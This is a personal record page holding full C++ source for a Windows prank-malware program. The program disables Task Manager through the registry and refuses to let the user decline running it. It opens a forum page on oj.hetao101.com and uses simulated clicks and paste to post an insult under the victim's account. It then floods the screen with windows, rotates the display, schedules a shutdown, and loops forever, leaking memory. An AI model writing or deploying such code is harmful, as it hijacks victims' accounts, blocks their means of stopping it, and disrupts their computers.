罪证留存

· · 个人记录

#include <bits/stdc++.h>
#include <windows.h>
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x80000) ? 1:0)
using namespace std;
int a; 
string user;
POINT p;

BOOL StringToClipBoard(char* srcString)
{
    BOOL bResult = FALSE;
    DWORD dwLength = strlen(srcString);
    HANDLE hGlobalMemory = GlobalAlloc(GHND, dwLength + 1); // 分配内存
    LPBYTE lpGlobalMemory = (LPBYTE)GlobalLock(hGlobalMemory); // 锁定内存
    if ( NULL != lpGlobalMemory )
    {
        strcpy((char*)lpGlobalMemory, srcString);
        GlobalUnlock(hGlobalMemory); // 锁定内存块解锁
        OpenClipboard(NULL); // 打开剪贴板
        EmptyClipboard(); // 清空剪贴板
        SetClipboardData(CF_TEXT, hGlobalMemory); // 将内存中的数据放置到剪贴
        CloseClipboard();
        bResult = TRUE;
    }
    return bResult;
}

void jin_r()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
} 
void fanzhuan()
{
    DEVMODE dm;
    // initialize the DEVMODE structure
    ZeroMemory(&dm, sizeof(dm));
    dm.dmSize = sizeof(dm);
    if (0 != EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &dm))
    {
        // swap height and width
        DWORD dwTemp = dm.dmPelsHeight;
        dm.dmPelsHeight = dm.dmPelsWidth;
        dm.dmPelsWidth = dwTemp;
        // determine new orientaion
        switch (dm.dmDisplayOrientation)
        {
        case DMDO_DEFAULT:
            dm.dmDisplayOrientation = DMDO_270;
            break;
        case DMDO_270:
            dm.dmDisplayOrientation = DMDO_180;
            break;
        case DMDO_180:
            dm.dmDisplayOrientation = DMDO_90;
            break;
        case DMDO_90:
            dm.dmDisplayOrientation = DMDO_DEFAULT;
            break;
        default:
            // unknown orientation value
            // add exception handling here
            break;
        }
        long lRet = ChangeDisplaySettings(&dm, 0);
        if (DISP_CHANGE_SUCCESSFUL != lRet)
        {
            // add exception handling here
        }
    }
}


void down(int vk)
{
    keybd_event(vk,0,0,0);
}
void up(int vk)
{
    keybd_event(vk,0,KEYEVENTF_KEYUP,0);
}
void press(int vk)
{
    keybd_event(vk,0,0,0);
    keybd_event(vk,0,KEYEVENTF_KEYUP,0);
}
void danji()
{
    mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
    Sleep(10);
    mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}






int main()
{
    HWND hwnd = GetForegroundWindow();
    cout << "为了更好体验,你需要在https://oj.hetao101.com/注册一个自己的账户\n";
    MessageBox(NULL,"准备好后点确定就可以开始啦~","聊天",MB_OK | MB_ICONINFORMATION);
    a = MessageBox(NULL,"你确定要运行此程序吗?","系统消息",MB_OKCANCEL | MB_ICONINFORMATION);
    if (a == 1)
    {
        MessageBox(NULL,"按确定三秒后开始运行程序......","系统消息",MB_OK|MB_ICONINFORMATION);
        Sleep(2000); 
    }
    else
    {
        MessageBox(NULL,"不行!你必须运行这个程序!","系统消息",MB_OK | MB_ICONINFORMATION| MB_SYSTEMMODAL);
    }




    SetWindowPos(hwnd,HWND_TOPMOST, 200, 200, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
    MoveWindow(hwnd,200,200,500,200,TRUE);

    cout << "嘿,我是xxx, 谢谢你打开我哦,我等你很久拉~\n";
    SetCursorPos(5000,5000);
    Sleep(1000);
    cout << "哈,我想你拉,xxxxx\n";
    SetCursorPos(5000,5000);
    Sleep(1000);

    system("start https://oj.hetao101.com/discuss/node/%E5%88%86%E4%BA%AB/create");
    cout << "可以让我看看你的账户吗?";
    SetCursorPos(5000,5000);
    Sleep(1000);

    StringToClipBoard("所有人看我!我是大傻逼!");
    SetCursorPos(300,280);
    danji();
    SetCursorPos(300,280);
    danji();
    down(VK_CONTROL);
    keybd_event(86,0,0,0);
    keybd_event(86,0,KEYEVENTF_KEYUP,0);
    Sleep(10);
    press(VK_RETURN);
    up(VK_CONTROL);




    Sleep(1000);
    SetWindowPos(hwnd,HWND_TOPMOST, 200, 200, 500, 200, SWP_NOMOVE|SWP_NOSIZE);
    system("cls");
    cout << "哈哈哈,等着电脑寄寄吧!\n";
    jin_r();
    HWND hwnd2 = GetDesktopWindow();
    HDC hdc = GetWindowDC(hwnd);
    POINT cursor;

    SetCursorPos(5000,5000);
    Sleep(1500);
    ShowWindow(hwnd,SW_MINIMIZE);

    for (int i = 1;i <= 6;i++)
        system("start cmd");
    for (int i = 1;i <= 2;i++)
    {
        SetCursorPos(rand()%1000,rand()%1000);
        system("start notepad");
        SetCursorPos(rand()%1000,rand()%1000);
        system("start calc");
        SetCursorPos(rand()%1000,rand()%1000);
        system("start winver");
        SetCursorPos(rand()%1000,rand()%1000);
        system("start Nslookup");
        SetCursorPos(rand()%1000,rand()%1000);
        system("start cleanmgr");
        SetCursorPos(rand()%1000,rand()%1000);
        system("start charmap");
        SetCursorPos(rand()%1000,rand()%1000);
        system("start dxdiag");
        fanzhuan();
    }
    system("start cmd");
    double start = clock();
    double end = clock() - start;
    while (end < 4000)
    {
        end = clock() - start;
        SetCursorPos(rand()%1000,rand()%1000);
        GetCursorPos(&cursor);
        DrawIcon(hdc, cursor.x * 1, cursor.y * 1, LoadIcon(NULL, IDI_ERROR));
        DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_QUESTION));
        DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_WARNING));
        Sleep(0.5);
        SetWindowPos(hwnd,HWND_TOPMOST, 500, 500, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
        MoveWindow(hwnd,650,350,600,400,TRUE);
        cout << "你的电脑真好玩,xxx~";
        system("cls");
    }
    for (int i = 1;i <= 2;i++)
        fanzhuan();
    for (int i = 1;i <= 5;i++)  
        system("shutdown -s -t 60");
    Sleep(500);
    while (1)
    {
        SetCursorPos(rand()%1000,rand()%1000);
        GetCursorPos(&cursor);
        DrawIcon(hdc, cursor.x * 1, cursor.y * 1, LoadIcon(NULL, IDI_ERROR));
        DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_QUESTION));
        DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_WARNING));
        Sleep(0.5);
        malloc(1000);
        SetWindowPos(hwnd,HWND_TOPMOST, 500, 500, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
        MoveWindow(hwnd,650,350,600,400,TRUE);
        cout << "你的电脑真好玩,xxx~";
        fanzhuan();
        system("cls");
    }
    return 0;
}